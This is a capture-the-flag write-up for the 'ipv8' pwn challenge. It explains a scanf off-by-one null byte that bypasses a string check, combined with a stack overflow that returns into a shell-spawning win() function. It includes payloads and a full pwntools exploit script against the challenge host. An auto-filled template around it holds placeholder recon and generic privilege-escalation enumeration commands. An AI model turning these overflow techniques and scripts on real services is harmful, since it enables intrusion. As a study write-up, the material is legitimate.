← Back to Writeups
HTBN/APwn

ipv8

XESXOR8/23/20265 min read
#pwn#htb#n/a

ipv8

Platform: Umdctf | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-25 | Status: Solved Techniques: null_byte_state_bypass, ret2win_rop, stack_alignment_ret, stack_layout_reasoning

Summary

Task: a static 64-bit ELF reads multiple host fields with unsafe scanf calls and checks a stack-resident string before returning. Solution: use a 48-byte destination input to null out the first byte of the checked string, then overflow the source field at offset 104 and return through a ret gadget into win().

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: umdctf | ID: 20260425_umdctf_ipv8
  • Tags: stack_overflow, scanf, ret2win, stack_canary, static_elf, null_byte_overflow
  • Indicators: scanf("%s") into a stack buffer, scanf width matches buffer size so the trailing null writes one byte past the end, a gate variable is initialized on the stack and checked before function return, win() already calls system("/bin/sh") in a non-PIE binary
  • Source: 20260425_umdctf_ipv8.md

Foothold

Vulnerability / Misconfiguration

  1. Null_byte_state_bypass
  2. Ret2win_rop
  3. Stack_alignment_ret
  4. Stack_layout_reasoning
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • null_byte_state_bypass
  • ret2win_rop
  • stack_alignment_ret
  • stack_layout_reasoning
  • Tags: stack_overflow, scanf, ret2win, stack_canary, static_elf, null_byte_overflow

Original Writeup

<details><summary>Click to expand original content</summary>

Overview

We are given a 64-bit static ELF named ipv4 and a remote service at challs.umdctf.io:30308. The binary is not stripped, so the important functions are easy to spot during reversing.

The challenge looks like a simple ret2win at first, but the program has an extra logic check that prevents a plain return-address overwrite from working. The solve requires combining two separate input bugs: a one-byte null overflow to bypass the logic gate, and a stack overflow to control RIP.

Description

No original organizer description was preserved in the local notes.

English summary: the program asks for network-style input fields, validates one stack string with check_rine(), and only then returns from main(). We must satisfy that control flow and pivot execution into win(), which spawns a shell.

Binary Protections and Relevant Functions

The binary properties are:

  • 64-bit static ELF
  • not stripped
  • Partial RELRO
  • Canary found
  • NX enabled
  • No PIE

The most important target is:

  • win() at 0x402f45, which calls system("/bin/sh")

Because PIE is disabled, the win() address is fixed. A small ROP chain is enough once we can safely return from main().

Vulnerability Analysis

main() contains two distinct stack input bugs.

1. Source Host Address: classic stack overflow

The Source Host Address field is read with:

scanf("%s", buf)

where buf is the local buffer at rbp-0x60. Since %s has no length limit, this is a normal stack overflow primitive. The working offset from this input to saved RIP is 104 bytes.

2. Destination Host Address: one-byte null overflow

The Destination Host Address field is read with:

scanf("%48s", buf)

into a stack buffer at rbp-0xc0.

At first glance %48s looks safe, but scanf also writes a trailing \0. So if we provide exactly 48 bytes, the 49th byte written is the null terminator, which lands one byte past the end of the destination buffer.

That off-by-one null byte reaches the adjacent local at rbp-0x90.

Stack-layout reasoning

The relevant locals are arranged like this:

rbp-0xc0  destination input buffer
...
rbp-0x90  local string later passed to check_rine()
...
rbp-0x60  source input buffer
...
saved RIP

The local at rbp-0x90 starts as the string:

"0.0.0.0"

Later, main() passes that local to check_rine().

Why Both Bugs Are Needed Together

This is the key trick of the challenge.

check_rine() only calls win() when the string equals 100.72.7.67. If the local at rbp-0x90 still contains "0.0.0.0", the program exits before main() ever returns.

That means a source-field RIP overwrite alone is useless: even with saved RIP smashed, execution never reaches the function epilogue because the program terminates earlier.

The destination bug fixes that control-flow problem.

If we send exactly 48 bytes to the Destination Host Address input, scanf("%48s", ...) appends its terminator just past the destination buffer and overwrites the first byte of the adjacent rbp-0x90 string with \0.

So this transformation happens:

"0.0.0.0"  ->  ""

That empty string is enough to avoid the exit path, so check_rine() returns normally instead of killing the process. Once that happens, main() continues to its epilogue and finally uses our overwritten saved RIP.

So the exploit is:

  1. Use the destination input to null out the first byte of the checked local string.
  2. Use the source input to overwrite saved RIP.
  3. Let main() return into a ROP chain.

Control-Flow Hijack

The working RIP offset from the Source Host Address input is 104.

A direct jump to win() was unreliable because of stack alignment, so the stable chain is:

  • ret gadget: 0x40101a
  • win: 0x402f45

Working payloads:

src = b"1.1.1.1" + b"A" * (104 - 7) + p64(0x40101a) + p64(0x402f45)
dst = b"1.1.1.1" + b"B" * 41

The destination payload is exactly 48 bytes long before scanf appends the trailing null:

  • b"1.1.1.1" = 7 bytes
  • b"B" * 41 = 41 bytes
  • total = 48 bytes

After the overwrite and return, win() gives us a shell. From there we can read /app/flag.txt or simply run cat flag.txt.

Final Exploit Script

#!/usr/bin/env python3
from pwn import *

HOST = "challs.umdctf.io"
PORT = 30308

OFFSET = 104
RET = 0x40101A
WIN = 0x402F45


def main():
    context.binary = ELF("./ipv4", checksec=False)
    io = remote(HOST, PORT)

    src = b"1.1.1.1" + b"A" * (OFFSET - 7) + p64(RET) + p64(WIN)
    dst = b"1.1.1.1" + b"B" * 41

    io.recvuntil(b"> ")
    io.sendline(b"AAAA")

    io.recvuntil(b"> ")
    io.sendline(src)

    io.recvuntil(b"> ")
    io.sendline(b"BBBB")

    io.recvuntil(b"> ")
    io.sendline(dst)

    io.recvrepeat(0.2)
    io.sendline(b"cat flag.txt")
    print(io.recvrepeat(0.5).decode(errors="ignore"))


if __name__ == "__main__":
    main()
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR